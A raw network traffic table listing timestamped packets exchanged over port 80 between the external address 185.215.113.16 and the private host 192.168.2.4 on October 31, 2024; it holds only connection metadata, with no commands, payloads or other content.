Oct 31, 2024 05:06:37.499427080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499443054 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499456882 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499471903 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499475956 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499489069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499490023 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499516010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499525070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499540091 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499555111 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499572039 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499586105 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499589920 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499602079 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499610901 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499625921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499640942 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499641895 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499656916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499681950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499690056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499697924 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499713898 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499716997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499732018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499748945 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499762058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499768972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499777079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499779940 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499794006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499816895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499819994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499835014 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499847889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499864101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499864101 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499883890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499898911 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499907017 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499916077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499923944 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499944925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499960899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499974966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.499978065 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499991894 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.499991894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500009060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500025034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500037909 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500041008 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500055075 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500085115 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500101089 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500123024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500138044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500138044 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500154972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500159979 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500171900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500211954 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500271082 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500304937 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500313044 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500329018 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500394106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500407934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500427961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500432968 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500443935 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500447989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500462055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500500917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500524998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500547886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500560045 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500572920 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500587940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500602007 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500617027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500623941 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500633001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500638962 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500648975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500663996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500678062 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500686884 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500701904 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500716925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500724077 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500741005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500755072 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500760078 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500777960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500781059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500793934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500811100 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500817060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500832081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500850916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500854969 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500866890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500880957 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500896931 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500906944 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500911951 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500916958 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500927925 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500943899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500951052 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.500967979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500983000 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.500986099 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501007080 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501020908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501028061 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501035929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501058102 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501059055 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501074076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501096010 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501116991 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501121998 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501137972 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501137972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501154900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501171112 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501183987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501187086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501202106 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501203060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501218081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501233101 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501240015 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501251936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501266003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501280069 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501295090 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501302004 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501312017 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501319885 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501333952 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501334906 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501351118 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501367092 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501374960 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501401901 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501445055 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501466990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501537085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501558065 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501573086 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501576900 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501585960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501590967 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501602888 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501617908 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501631975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501641989 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501647949 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501647949 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501672029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501688004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501710892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501712084 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501727104 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501728058 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501744986 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501760006 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501765013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501775980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501790047 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501804113 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501813889 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501818895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501826048 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501837015 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501852036 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501867056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501874924 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501883030 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501890898 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501898050 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501920938 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501921892 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501935005 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501956940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501971960 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.501985073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501985073 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.501986980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502002954 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502026081 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502027035 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502043009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502058029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502074003 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502074957 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502089977 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502094030 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502108097 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502130985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502146959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502147913 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502161980 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502171993 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502186060 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502202034 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502227068 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502228975 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502253056 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502253056 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502268076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502285004 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502300024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502307892 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502316952 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502332926 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502338886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502356052 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502362013 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502373934 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502399921 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502413988 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502418041 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502430916 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502439022 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502446890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502469063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502559900 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502604961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502619982 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502635002 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502655983 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502657890 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502676964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502680063 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502691984 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502696037 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502722979 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502747059 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502762079 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502763987 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502778053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502782106 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502793074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502808094 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502811909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502821922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502845049 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502865076 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502887964 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502902985 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502918959 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502924919 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502935886 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502948999 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.502953053 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.502973080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.556698084 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.574088097 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.574552059 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620414019 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620445967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620462894 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620490074 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620506048 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620505095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620522976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620534897 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620538950 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620573997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620594025 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620616913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620629072 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620632887 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620650053 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620666027 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620670080 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620682001 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620697975 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620703936 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620712996 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620728016 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620752096 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620768070 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620768070 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620786905 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620810032 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620816946 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620831966 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620847940 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620862961 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620872021 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620879889 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620898962 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620904922 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620914936 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620927095 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620939970 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620954990 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620958090 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.620980024 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620995045 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.620994091 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621011972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621026993 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621042967 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621052980 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621061087 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621062994 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621084929 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621109009 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621124029 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621129036 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621146917 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621148109 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621164083 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621181965 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621186972 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621200085 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621213913 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621223927 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621228933 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621246099 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621252060 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621270895 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621273994 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621280909 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621290922 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621305943 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621315002 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621330976 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621345997 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621345997 CET	49744	80	192.168.2.4	185.215.113.16
Oct 31, 2024 05:06:37.621361971 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621378899 CET	80	49744	185.215.113.16	192.168.2.4
Oct 31, 2024 05:06:37.621387959 CET	49744	80	192.168.2.4	185.215.113.16
